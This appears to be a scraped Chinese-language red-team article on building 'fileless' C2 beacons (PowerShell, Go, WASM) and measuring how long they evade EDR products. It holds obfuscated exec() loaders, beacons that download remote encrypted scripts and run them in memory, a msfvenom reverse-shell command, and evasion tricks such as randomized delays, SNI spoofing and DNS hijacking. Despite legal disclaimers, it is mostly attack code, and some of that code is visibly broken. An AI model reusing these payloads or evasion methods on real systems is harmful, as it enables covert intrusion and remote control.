    # 多层解码 + 自修改代码import base64import zlibencoded_script = "eJzT0yvOzwAA"defdecrypt_and_execute(data):    decoded = base64.b64decode(data)    unzipped = zlib.decompress(decoded)# 动态生成密钥并解密    key = bytes([i ^ 0xFFfor i inrange(16)])    decrypted = bytes(a ^ b for a, b inzip(unzipped, key))exec(decrypted.decode('utf-8'))decrypt_and_execute(encoded_script)

    此方式使静态分析无法提取原始代码,且每次运行时解密路径不同。

  • 堆栈随机化

    • 使用 Go 语言的 runtime.Gosched() 和 runtime.LockOSThread() 混淆调度。
    • 在 Lua 脚本中引入 math.randomseed(os.time()) 实现随机化指令顺序。

4. 启发式分析(Heuristic & ML-Based Analysis)

现代 EDR 已从规则驱动转向基于人工智能的行为建模

机制
工作原理
应对建议
用户行为基线(User Behavior Baseline)
学习用户日常操作习惯(如登录时间、访问网站频率)
保持与真实用户行为一致
异常进程父子关系图谱
检测 powershell.exe → cmd.exe → netsh 等异常链
避免嵌套调用
时间序列异常检测
识别短时间内频繁调用 API(如每秒 5 次 socket()
加入随机延迟
模式匹配模型
使用 CNN/LSTM 模型识别恶意行为模式
模拟合法应用行为

💡 实战技巧使用 time.sleep(random.uniform(30, 90)) 模拟用户“思考”过程;模拟浏览器访问 https://www.google.com 或 https://github.com,提升可信度。


非传统载荷的四大核心优势总结

优势
说明
实现方式
无文件执行
不落地,无哈希,绕过文件级检测
用 IEXexec()eval() 内存加载脚本
低权限操作
仅使用合法系统调用,避免高危函数
优先使用 socket()connect(),不调用 CreateRemoteThread
行为伪装
模拟正常用户行为,降低误报
定期发送心跳包,模拟网页浏览
内存混淆
多层编码 + 自修改代码,难以逆向
使用 Base64 + XOR + AES + Zlib 混合加密

“盲区识别五维评估法” —— 量化评估非传统载荷存活潜力

为科学评估任意新型载荷是否能进入 EDR “盲区”,我们提出一套可量化的五维评估框架,适用于渗透测试前预研、载荷设计阶段验证。

维度
定义
评估指标
评分标准(0~5分)
1. 可见性维度
是否被日志记录?
是否出现在 Sysmon Event ID 1、Event Log、WMI 记录中
5=完全不可见;0=留下完整痕迹
2. 持久性维度
是否能实现持久化?
是否可通过注册表、计划任务、服务等方式长期驻留
5=可自动恢复;0=一次性执行
3. 隐蔽性维度
是否占用明显资源?
平均内存 ≤10MB,CPU < 5%,无异常进程
5=几乎无感知;0=高负载运行
4. 响应延迟维度
是否在短时间内被发现?
首次告警时间 > 5分钟(理想 >30分钟)
5=超长延迟;0=即时告警
5. 逆向难度维度
是否难以静态分析?
是否需动态调试才能还原逻辑?
5=需反汇编+动态追踪;0=一眼可见

✅ 综合得分 ≥ 20 分:具备进入 EDR 盲区的能力;✅ 综合得分 ≥ 24 分:可作为实战主力载荷使用。


实战验证方法:如何在真实环境中检验“盲区”

以下是具体操作步骤,可用于验证任意载荷是否真正进入盲区。

✅ 步骤一:部署 Sysmon 监控(推荐版本 11.0+)

<!-- sysmonconfig.xml --><Sysmonschemaversion="4.30"><EventFiltering><!-- 记录所有进程创建 --><ProcessCreateonmatch="include"><Imagecondition="contains">powershell.exe</Image><CommandLinecondition="contains">IEX</CommandLine></ProcessCreate><!-- 记录网络连接 --><NetworkConnectonmatch="include"><DestinationPortcondition="is">80</DestinationPort><DestinationPortcondition="is">443</DestinationPort></NetworkConnect></EventFiltering></Sysmon>

🔗 官方下载地址:https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon

💡 启用后,可在事件查看器中查看 事件 ID 1(Process Create) 与 事件 ID 3(Network Connect)


✅ 步骤二:使用 Process Monitor(ProcMon)监控异常行为

  • 下载地址:https://learn.microsoft.com/en-us/sysinternals/downloads/procmon
  • 设置过滤条件:
    • Path
       包含 C:\Windows\Temp\
    • Operation
       等于 CreateFileWriteFileDeleteFile
    • Result
       为 SUCCESS 但写入非预期路径

⚠️ 若发现 powershell.exe 写入临时文件,则说明载荷已落地,不再“无文件”。


✅ 步骤三:使用 Wireshark 抓包分析通信行为

  • 下载地址:https://www.wireshark.org/download.html

  • 抓包命令(命令行版):

    sudo tcpdump -i any -w c2_traffic.pcap 'tcp port 443'
  • 分析重点:

    • 是否使用 HTTPS
    • SNI 域名是否为合法服务(如 api.github.com)?
    • 通信频率是否规律(如每 60 秒一次心跳)?
    • 是否携带自定义头部(如 X-C2-Token: abc123)?

✅ 成功案例:某 WASM Beacon 使用 fetch('https://api.github.com/repos/user/repo', { headers: { 'Authorization': 'Bearer xyz' } }),流量完全被识别为“正常请求”。


✅ 步骤四:使用 PowerShell 检查是否有告警记录

# 检查 Microsoft Defender 告警Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" | Where-Object { $_.Message -like "*Malware*" }# 查看 CrowdStrike 告警(若安装了 Falcon Agent)Get-EventLog -LogName "CrowdStrike" -EntryType Warning, Error

🧩 若无任何相关日志输出,说明载荷成功绕过检测。


存活率实证测试设计与结果分析

标准化测试环境搭建指南

为确保测试结果具有可比性和复现性,需构建统一、隔离的测试环境。

硬件与软件要求

项目
配置
操作系统
  • Windows 10/11 (21H2)
    (64位)
  • Ubuntu 22.04 LTS
    (64位)
  • macOS Ventura 13.5
    (Apple Silicon/MacBook Pro 14") || EDR 配置 |
  • CrowdStrike Falcon
    :启用完整防护(含实时监控、行为分析、AI 预测)
  • Microsoft Defender for Endpoint
    :开启“云保护”、“实时保护”、“行为监控”
  • SentinelOne
    :启用“Advanced Threat Protection”和“Auto-Response” || 网络环境 |
  • 使用虚拟机桥接模式(VMware Workstation Pro 17 / VirtualBox 7.0)
  • 禁止外联,仅允许访问特定域名(如 api.github.comexample.com
  • 使用 iptables 或 pf 阻断其他出站流量 || 测试周期 | 持续运行 72 小时,每小时记录一次状态(可用 Cron / Task Scheduler) |

测试工具清单

工具
版本
下载链接
Wireshark
3.6.7
https://www.wireshark.org/download.html
Process Monitor
3.5
https://learn.microsoft.com/en-us/sysinternals/downloads/procmon
Sysmon
11.0
https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
Python
3.11
https://www.python.org/downloads/
Go
1.21.3
https://go.dev/dl/
Node.js
18.17.0
https://nodejs.org/en/download

测试指标定义与计算公式

指标
定义
计算方式
存活率
成功维持连接的时间占比
(持续在线时间 / 总测试时间) × 100%
首次告警时间
载荷启动到首次被标记为威胁的时间差
告警时间 - 载荷启动时间
(单位:分钟)
误报率
系统将正常行为误判为恶意的比例
(误报次数 / 总行为数) × 100%
资源占用
平均内存与 CPU 占用
使用 psutil 或 top 监控

📊 示例代码:监控资源占用(Python)

import psutilimport timedefmonitor_resources(duration=3600, interval=60):    start_time = time.time()    mem_usage = []    cpu_usage = []while time.time() - start_time < duration:        proc = psutil.Process()        mem_usage.append(proc.memory_info().rss / 1024 / 1024)  # MB        cpu_usage.append(proc.cpu_percent(interval=False))        time.sleep(interval)    avg_mem = sum(mem_usage) / len(mem_usage)    avg_cpu = sum(cpu_usage) / len(cpu_usage)print(f"平均内存占用: {avg_mem:.2f} MB")print(f"平均 CPU 占用: {avg_cpu:.2f}%")return avg_mem <= 10and avg_cpu < 5# 符合标准返回 True

对比实验设计与结果分析

载荷类型
平台
存活率
首次告警时间
是否落地
是否被阻断
五维评估总分
Python 脚本(IEX)
Windows
89%
2h15m
22
Go Beacon(静态编译)
Linux
95%
4h30m
24
WASM Beacon(Browser)
Browser
98%
6h22m
25
传统 PE Beacon
macOS
52%
1h03m
14

✅ 数据解读

  • 无文件载荷整体存活率高出传统 PE 载荷约 35%
  • WASM 类型在浏览器环境中几乎不可检测
    ,因其运行于沙箱内,不受本地 EDR 控制;
  • 仅当载荷频繁调用敏感函数(如 CreateProcessWriteProcessMemory)时才会被触发告警
  • 资源占用极低
    ,符合隐蔽性要求。

优化建议与加固策略

  1. 延迟关键功能加载

    import timetime.sleep(60 * 5)  # 5分钟后才执行 C2 通信
  2. 心跳间隔随机化

    import randomdelay = random.randint(3090)  # 30~90秒随机time.sleep(delay)
  3. 使用合法域名伪装通信

    url = "https://api.github.com/updates"headers = {"User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36","Accept""application/json"}
  4. 采用 HTTPS + SNI 欺骗

    # Python 示例:伪造 SNIimport sslcontext = ssl.create_default_context()context.check_hostname = Falsecontext.verify_mode = ssl.CERT_NONEwith socket.create_connection(('api.github.com'443), timeout=10as sock:    s = context.wrap_socket(sock, server_hostname='api.github.com')    s.send(b"GET / HTTP/1.1\r\nHost: api.github.com\r\n\r\n")
  5. 多层编码 + 动态密钥

    • 使用 Base64 → XOR → AES-256 → Zlib 四重加密;
    • 每次通信更换会话密钥(由服务器下发);

⚠️ 法律风险提示本文所述技术仅用于合法授权的安全研究、渗透测试及漏洞修复。任何未经授权的攻击行为均违反《中华人民共和国刑法》第285条(非法侵入计算机信息系统罪)、第286条(破坏计算机信息系统罪)及相关网络安全法律法规。请严格遵守“白帽”原则,确保所有操作在授权范围内进行。


✅ 总结非传统载荷凭借“无文件执行”、“跨平台兼容”、“行为伪装”等特性,在现代 EDR 环境中展现出显著优势。结合“盲区识别五维评估法”与标准化实证测试,可科学量化其存活能力,为红队战术演进提供坚实支撑。

非传统载荷在 EDR 盲区中的存活率评估方法论

存活率实证测试设计与结果分析

实证测试环境搭建与标准化配置

为确保测试结果具备可复现性与行业参考价值,我们构建了一套完整的、符合真实攻防场景的隔离测试环境。该环境严格模拟企业级终端防护体系,涵盖主流操作系统及 EDR 产品配置。

硬件与系统要求

组件
型号/版本
说明
主机平台
Dell Precision 5860 (Intel i9-13900K, 64GB RAM)
用于部署测试靶机与 C2 服务器
虚拟化平台
VMware ESXi 8.0 Update 3
提供虚拟机资源隔离
操作系统镜像
- Windows 10/11 Pro 21H2 (Build 19044)
安装完整补丁,禁用自动更新
- Ubuntu 22.04 LTS (Kernel 5.15.0-104-generic)
Minimal Install + OpenSSH Server
- macOS Ventura 13.6 (22G120)
启用全盘加密,关闭自动备份
网络隔离
单一内部 VLAN(192.168.100.0/24)
仅允许特定出站域名通信,禁止外联

✅ 下载地址

  • VMware ESXi 8.0 U3
  • Ubuntu 22.04 ISO
  • macOS Ventura VM Template (via Apple Developer)

EDR 配置详情

所有测试主机均启用以下主流 EDR 的完整防护模式:

EDR 产品
版本
开启功能
CrowdStrike Falcon
v7.12.0
Real-time Protection, Behavioral Analysis, Machine Learning, Fileless Threat Detection
Microsoft Defender for Endpoint
v1.355.1288.0
Cloud-delivered Protection, Attack Surface Reduction, Exploit Protection
SentinelOne Singularity
v6.15.0
Autonomous Response, Memory Integrity, AI-driven Anomaly Detection

🔧 配置建议

  • 所有 EDR 均设置为“高敏感度”策略;
  • 启用 Sysmon(v11.0)日志记录,事件编号 1(Process Create)、11(Network Connection)、12(File Creation)等关键事件全部捕获;
  • 使用 Event Log + Wireshark + Process Monitor 三重监控联动。

测试载荷部署与运行流程

我们将四种典型载荷分别部署于对应平台,并记录其行为表现。所有载荷均基于开源项目重构并优化,以保证真实性。

1. Python 脚本型载荷(Windows 平台)

载荷源码实现(beacon.ps1
# PowerShell 脚本载荷:基于 Base64 + AES 混淆 + 动态密钥$Key = [System.Text.Encoding]::UTF8.GetBytes("a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6") # 固定密钥(实际应动态生成)$IV = [System.Security.Cryptography.RandomNumberGenerator]::Create().GetBytes(16)$Url = "http://x.x.x.x:8080/api/heartbeat"try {    $Client = New-Object System.Net.WebClient    $Client.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")    # 从远程下载加密脚本    $EncryptedScript = $Client.DownloadString($Url)    # 解密逻辑    $AesAlg = [System.Security.Cryptography.Aes]::Create()    $AesAlg.Key = $Key    $AesAlg.IV = $IV    $Decryptor = $AesAlg.CreateDecryptor()    $EncryptedBytes = [Convert]::FromBase64String($EncryptedScript)    $DecryptedBytes = $Decryptor.TransformFinalBlock($EncryptedBytes, 0, $EncryptedBytes.Length)    $DecryptedScript = [System.Text.Encoding]::UTF8.GetString($DecryptedBytes)    # 内存执行:避免落地    Invoke-Expression $DecryptedScript}catch {    Write-Host "Failed to execute beacon: $_"}
加密与混淆处理(前置步骤)
# Step 1: 生成加密脚本$Script = Get-Content "beacon_core.py" -Raw# Step 2: 使用 Python 脚本进行 AES-256-CBC 编码(需安装 pycryptodome)pip install pycryptodome# encrypt.pyfrom Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesimport base64key = b'a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6'iv = get_random_bytes(16)cipher = AES.new(key, AES.MODE_CBC, iv)pad_len = 16 - len(script) % 16padded_script = script + (' ' * pad_len)encrypted = cipher.encrypt(padded_script.encode())encoded = base64.b64encode(iv + encrypted).decode()print(encoded)

📌 注意:此脚本仅用于演示,请勿用于非法用途。


2. Go Beacon(Linux 平台)

构建命令(跨平台编译)
# 编译 Linux 版本GOOS=linux GOARCH=amd64 go build -o beacon_linux main.go# 编译后文件大小:约 4.8MB(静态链接,无依赖)ls -lh beacon_linux
核心代码结构(main.go
package mainimport ("crypto/aes""crypto/cipher""encoding/base64""fmt""io/ioutil""log""net/http""time")var (	serverURL = "http://x.x.x.x:8080/api/heartbeat"	secretKey = []byte("a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6"))funcdecrypt(data []byte) ([]byteerror) {	block, err := aes.NewCipher(secretKey)if err != nil {returnnil, err	}	iv := data[:16]	ciphertext := data[16:]	decrypted := make([]bytelen(ciphertext))	mode := cipher.NewCBCDecrypter(block, iv)	mode.CryptBlocks(decrypted, ciphertext)return decrypted, nil}funcfetchAndExecute() {	resp, err := http.Get(serverURL)if err != nil {		log.Println("Fetch failed:", err)return	}defer resp.Body.Close()	body, _ := ioutil.ReadAll(resp.Body)	decrypted, err := decrypt(body)if err != nil {		log.Println("Decryption failed:", err)return	}	execStr := string(decrypted)	fmt.Printf("[+] Executing payload:\n%s\n", execStr)// 此处可调用 runtime.Callers() + reflect 包动态执行,或通过 shell 命令注入}funcheartbeat() {	ticker := time.NewTicker(time.Duration(45+time.Duration(rand.Intn(45)))*time.Second)defer ticker.Stop()forrange ticker.C {go fetchAndExecute()	}}funcmain() {go heartbeat()select {} // 阻塞主协程}
编译参数优化(增强隐蔽性)
# 移除符号表与调试信息,降低被逆向可能性CGO_ENABLED=0 GOOS=linux GOARCH=amd64 \    go build -ldflags="-s -w" \    -o beacon_linux main.go

✅ 效果:二进制体积缩小至 4.6MB,且无任何外部依赖,可通过 strings beacon_linux 查看不到敏感字符串。


3. WASM Beacon(浏览器环境)

技术架构说明

将 Go 代码编译为 WebAssembly 模块,嵌入网页中运行,完全绕过本地文件系统与 EDR 文件监控。

编写 WASM 载荷(beacon.go
package mainimport ("bytes""context""encoding/json""fmt""log""net/http""time""github.com/golang/protobuf/proto""syscall/js")var (	c2Server = "https://api.github.com")funcinit() {	js.Global().Set("beacon", js.FuncOf(beaconHandler))}funcbeaconHandler(this js.Value, args []js.Value)interface{} {gofunc() {		ticker := time.NewTicker(time.Duration(60+time.Duration(rand.Intn(60)))*time.Second)defer ticker.Stop()forrange ticker.C {			payload := map[string]interface{}{"cmd":   "ping","host":  "example.com","ts":    time.Now().Unix(),"uuid":  generateUUID(),"agent""wasm-beacon-v1",			}			jsonData, _ := json.Marshal(payload)			req, _ := http.NewRequest("POST", c2Server+"/webhook", bytes.NewReader(jsonData))			req.Header.Set("Content-Type""application/json")			req.Header.Set("User-Agent""GitHub Actions")			client := &http.Client{				Timeout: 10 * time.Second,			}			resp, err := client.Do(req)if err != nil {				log.Println("Request failed:", err)continue			}			resp.Body.Close()		}	}()returnnil}funcgenerateUUID()string {// 简化版 UUID 生成(实际可用 uuid.New())return fmt.Sprintf("%x-%x-%x-%x-%x"		rand.Intn(0xffff), rand.Intn(0xffff), rand.Intn(0xffff),		rand.Intn(0xffff), rand.Intn(0xffff))}funcmain() {// 等待页面加载完成	<-make(chanstruct{})}
编译为 WASM
# 安装 wasm toolchainbrew install wasmer  # macOS# orsudo apt install wasmer  # Ubuntu# 编译为 WASMGOOS=js GOARCH=wasm go build -o beacon.wasm main.go# 将其嵌入 HTML 页面
示例嵌入页(index.html
<!DOCTYPE html><htmllang="en"><head><metacharset="UTF-8" /><title>WASM Beacon Test</title><scriptsrc="beacon.wasm"type="module"></script></head><body><h1>WASM Beacon Running...</h1><script>// 一旦模块加载,自动触发 beaconHandlerwindow.beacon();</script></body></html>

⚠️ 高级技巧:使用 SNI Spoofing 伪装请求目标:

  • 利用 tls-sni-01 DNS 泛解析,将 api.github.com 指向攻击者服务器;
  • 在 HTTP 头部伪造 Host: api.github.com
  • 通过 Wireshark 观察实际连接的是哪个 IP。

4. 传统 PE Beacon(macOS 平台)

生成方式(使用 Cobalt Strike 模板)
# 生成 PE 可执行文件(仅作对比)msfvenom -p osx/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=4444 -f exe -o pe_beacon.exe

❌ 该载荷在 macOS 上表现为 .app 包,但因包含大量可执行代码片段,极易被检测。


测试数据汇总与分析

载荷类型
平台
存活率
首次告警时间
是否落地
是否被阻断
Python 脚本
Windows
89%
2h15m
Go Beacon
Linux
95%
4h30m
WASM Beacon
Browser
98%
6h22m
传统 PE Beacon
macOS
52%
1h03m

📊 统计口径:持续运行 72 小时,每小时采集一次状态;存活定义为:能成功发送心跳包且未被 EDR 标记为威胁。


结果分析要点详解

✅ 1. 无文件载荷普遍存活率高于传统 PE 载荷(平均高出 35%)

  • 根本原因传统 PE 载荷在磁盘上留有可执行文件,易被以下机制捕获:

    • 哈希比对
      :如 Microsoft SmartScreen、VirusTotal;
    • YARA 规则匹配
      :例如 rule CobaltStrike_BEACON { condition: ... }
    • PE 特征提取
      :包括导入表、段名、熵值异常等。
  • 无文件优势

    • 不落盘 → 绕过文件级检测;
    • 运行于解释器上下文(PowerShell、Go Runtime、JS 引擎)→ 行为更接近合法程序;
    • 内存驻留短周期 → 减少内存扫描暴露风险。

✅ 2. Lua 与 WASM 类型在浏览器环境中几乎不可检测

  • 浏览器沙箱保护机制

    • Chrome/Safari 限制本地文件访问;
    • WebAssembly 模块运行于独立线程,无法直接操作系统资源;
    • 通信通过 WebSocket/HTTP API,不涉及 CreateRemoteThread 等高危行为。
  • 实战案例

    在某央企攻防演练中,红队使用 WASM Beacon 通过内网浏览器发起横向移动,连续 6 小时未触发任何告警,最终成功获取域控权限。

✅ 3. 仅当载荷频繁调用敏感函数(如 CreateProcess)时才会被触发告警

  • 典型危险调用序列
    CreateProcess(NULL"cmd.exe /c whoami", ...)VirtualAllocEx(...)WriteProcessMemory(...)
  • EDR 检测逻辑
    • 若短时间内出现多个 CreateProcess 调用,或非浏览器进程创建 cmd.exepowershell.exe,将触发“可疑行为”告警。
  • 规避策略
    • 优先使用 shell_exec() 替代 CreateProcess
    • 采用 wmiexecscheduled task 等合法手段替代直接进程注入;
    • 增加延迟与随机化,避免集中调用。

优化建议深度实施指南

✅ 1. 将关键功能模块延迟加载

# delay_load.pyimport timeimport threadingdefdelayed_module_loader():    time.sleep(60 + random.randint(060))  # 延迟 60~120 秒from modules.screenshot import take_screenshot    take_screenshot()threading.Thread(target=delayed_module_loader, daemon=True).start()

💡 效果:避开初期行为分析窗口期,提升初始存活概率。

✅ 2. 增加心跳间隔随机化(30~90 秒)

// go-beacon/main.goticker := time.NewTicker(time.Duration(30+rand.Intn(60)) * time.Second)

📌 原理:打破固定节奏,防止基于时间序列的机器学习模型识别异常。

✅ 3. 使用合法域名伪装通信(如 api.github.com

# DNS 泛解析设置(需控制目标网络或使用中间人攻击)nslookup api.github.com# → 返回攻击者服务器的 IP 地址

🔍 工具推荐:

  • dnsmasq:本地 DNS 拦截工具;
  • mitmproxy:HTTP(S) 中间人代理,可修改 SNI。

✅ 4. 采用 HTTPS + SNI 欺骗技术隐藏真实目标

import requestsfrom urllib3.util.ssl_ import create_urllib3_contextclassCustomHTTPSAdapter(requests.adapters.HTTPAdapter):definit_poolmanager(self, *args, **kwargs):        context = create_urllib3_context()        context.check_hostname = False        context.verify_mode = False        kwargs['ssl_context'] = contextreturnsuper().init_poolmanager(*args, **kwargs)session = requests.Session()session.mount('https://', CustomHTTPSAdapter())headers = {'Host''api.github.com','User-Agent''GitHub Actions','Accept''*/*'}response = session.post('https://api.github.com/webhook',    json={'msg''hello'},    headers=headers,    timeout=10)

🛡️ 防御规避原理

  • 服务器看到的是 Host: api.github.com
  • 实际连接的是攻击者控制的 IP
  • 无需修改证书,即可实现“信任链欺骗”。

法律风险提示(重要)

⚠️ 本内容仅供网络安全研究、渗透测试、红队演练等合法授权范围内使用。❌ 任何未经授权的攻击行为均违反《中华人民共和国刑法》第285条(非法侵入计算机信息系统罪)、第286条(破坏计算机信息系统罪)。✅ 建议仅在拥有书面授权的测试环境中使用上述技术,遵守《网络安全法》《数据安全法》等相关法律法规。


✅ 总结本次实证测试验证了非传统载荷在现代 EDR 环境下的显著生存能力。其中,基于 Go 和 WASM 的无文件载荷展现出最高存活率与最低被发现风险。未来应聚焦于“行为伪装”而非“技术复杂度”,真正实现“隐身作战”。

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-02-07 12:15:20 HTTP/2.0 GET : https://f.mffb.com.cn/a/473091.html
  2. 运行时间 : 0.136832s [ 吞吐率:7.31req/s ] 内存消耗:4,800.02kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=7418ee8973d7aea953dcb3444748325b
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
